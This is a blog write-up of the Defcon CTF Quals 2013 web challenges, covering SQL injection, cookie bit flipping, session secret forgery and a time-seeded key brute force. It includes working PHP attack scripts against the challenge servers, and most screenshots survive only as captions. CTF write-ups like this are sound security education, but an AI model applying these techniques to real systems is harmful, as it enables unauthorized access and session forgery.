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Jun
17

Defcon CTF Quals 2013 – All Web Challenges (3dub)

Summary:

3dub (1) – babysfirst: SQLite SQL injection
3dub (2) – badmedicine: Stream cipher bit flipping
3dub (3) – hypeman: Rack/Sinatra session secret disclosure
3dub (4) – rememberme: Bruteforce
3dub (5) – worsemedicine: Block cipher bit flipping

3dub (1) – babysfirst

http://babysfirst.shallweplayaga.me:8041

babysfirst
babysfirst
babysfirst
babysfirst
babysfirst
babysfirst
babysfirst


3dub (2) – badmedicine

http://badmedicine.shallweplayaga.me:8042

badmedicine
badmedicine
badmedicine
badmedicine
Let’s take a look into cookies.
badmedicine
badmedicine
Zooming in.
badmedicine
badmedicine
badmedicine
badmedicine


3dub (3) – hypeman

http://hypeman.shallweplayaga.me/

hypeman
hypeman
As you can guess, the flag is admin’s secret.

When attempting to read others’ secrets, an exception is thrown.
hypeman

Cookie hashing salt is conveniently leaked just on the exception debug page.
hypeman

Using this info we can forge the data in the cookie and sign it ourselves.
hypeman
hypeman


3dub (4) – rememberme

http://rememberme.shallweplayaga.me/

rememberme

Let’s click ‘usernames.txt’.

http://rememberme.shallweplayaga.me/getfile.php?filename=usernames.txt&accesscode=60635c6862d44e8ac17dc5e144c66539

rememberme

How about clicking ‘passwords.txt’?

http://rememberme.shallweplayaga.me/getfile.php?filename=passwords.txt&accesscode=60635c6862d44e8ac17dc5e144c66539

rememberme

Perhaps access code should be different. Let’s figure out how it is calculated.

rememberme

Damn, we guessed on the first try. Let’s grab passwords.txt.

rememberme

What am i gonna do with that right there? SHA-512 suxx.
Let’s read something else.

http://rememberme.shallweplayaga.me/getfile.php?filename=getfile.php&accesscode=0701593e23e676eaba834916a6ac7272

 

<?php
$value = time();
$filename = $_GET["filename"];
$accesscode = $_GET["accesscode"];
if (md5($filename) == $accesscode){
	echo "Acces granted to $filename!<br><br>";
	srand($value);
	if (in_array($filename, array('getfile.php', 'index.html', 'key.txt', 'login.php', 'passwords.txt', 'usernames.txt'))==TRUE){
		$data = file_get_contents($filename);
		if ($data !== FALSE) {
			if ($filename == "key.txt") {
				$key = rand();
				$cyphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC);
				echo  base64_encode($cyphertext);
			}
			else{
				echo nl2br($data);
			}
 
		}
		else{
			echo "File does not exist";
		}
	}
	else{
		echo "File does not exist";
	}
 
}
else{
	echo "Invalid access code";
}
?>

Alright, so when we read key.txt, it gets encrypted using srand(time()), rand()
time() changes once every second, so the search space is tiny.

http://rememberme.shallweplayaga.me/getfile.php?filename=key.txt&accesscode=65c2a527098e1f7747eec58e1925b453

Acces granted to key.txt!
 
Rku2n/I2DpyPfCh8rgZfp7ktHQhGZXLkC2VaEGMAplq2aiY0bG5bVaAIq15trEE3CSVreDqlQUvaWLmcbJCWNA==
php > $data = base64_decode('Rku2n/I2DpyPfCh8rgZfp7ktHQhGZXLkC2VaEGMAplq2aiY0bG5bVaAIq15trEE3CSVreDqlQUvaWLmcbJCWNA==');
php > $now = time();   // 1371422967
php > for ($i = 0; $i < 100; $i++) {
php {   srand($now - $i);
php {   $key = rand();
php {   $plain = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC);
php {   if (stristr($plain, "key")) {
php {     echo "$plain\n";
php {   }
php { }
The key is: To boldly go where no one has gone before WMx8reNS
 
php >

3dub (5) – worsemedicine

http://worsemedicine.shallweplayaga.me/

worsemedicine
worsemedicine
worsemedicine
worsemedicine

A glance into cookies.

worsemedicine

IV, right. Should be a block cipher in CBC mode.

worsemedicine
worsemedicine

We know exactly what bit inside the byte we want to flip (‘A’ ^ ‘a’ = 0×20), but we have to guess what byte it’s in. Here’s a script for that.

<?php
$data = urldecode('1v%92%9B%1B%06%D3%A5%27%0C%D2%BA%7B%DB%99%18%9D%60r%17%DDj+%DA%A8%1E%2B%EA%0C%0C%3F%B1%8C%0E%A9b%85c%DCw%EDwhBUJ%96%A1%F6%00jQ%F2%FF5%5C%8D%07%84%E20%9B%F0%BAN%EE%7E%3EG');
for ($i = 0; $i < strlen($data); $i++) {
  $flipped = $data;
  $flipped[$i] = chr(ord($flipped[$i]) ^ 0x20);
  $ctx = stream_context_create(['http' => ['header' => "Cookie: ciphertext=" . urlencode($flipped) . "; iv=%D2%EC%1F%7F%8A%EB%AA%1B; verification=faa77cb5"]]);
  $res = file_get_contents("http://worsemedicine.shallweplayaga.me/key", null, $ctx);
  if (stristr($res, "key")) {
    echo $res;
    exit;
  }
  echo '.';
}
?>
f:\>php script.php
..........................................<!DOCTYPE html>
<html>
  <head>
    <title>worsemedicine</title>
  </head>
  <body>
    <h1>
      yessss
    </h1>
    <p>
      The key is:
      computers downtown and computers up in harlem
    </p>
  </body>
</html>

5 comments

  1. p____h says:

    Hey,
    nice writeups.
    Btw, there is a way to solve 2nd and 5th without crypto stuff, take a look at my writeups here: http://labit.in/eng.php?id=1073

    1. vos says:

      Nice finding in 5th :)

  2. horokey says:

    vos, ты гений =)
    5й веб с username[] это что за бред вообще?! бардак в коде у оргов!

    1. xxx says:

      > 5й веб с username[] это что за бред вообще?! бардак в коде у оргов!
      Ну это было сделано on purpose судя по коду.

  3. Antonio says:

    Stuck in 60635c6862d44e8ac17dc5e144c66539 :p

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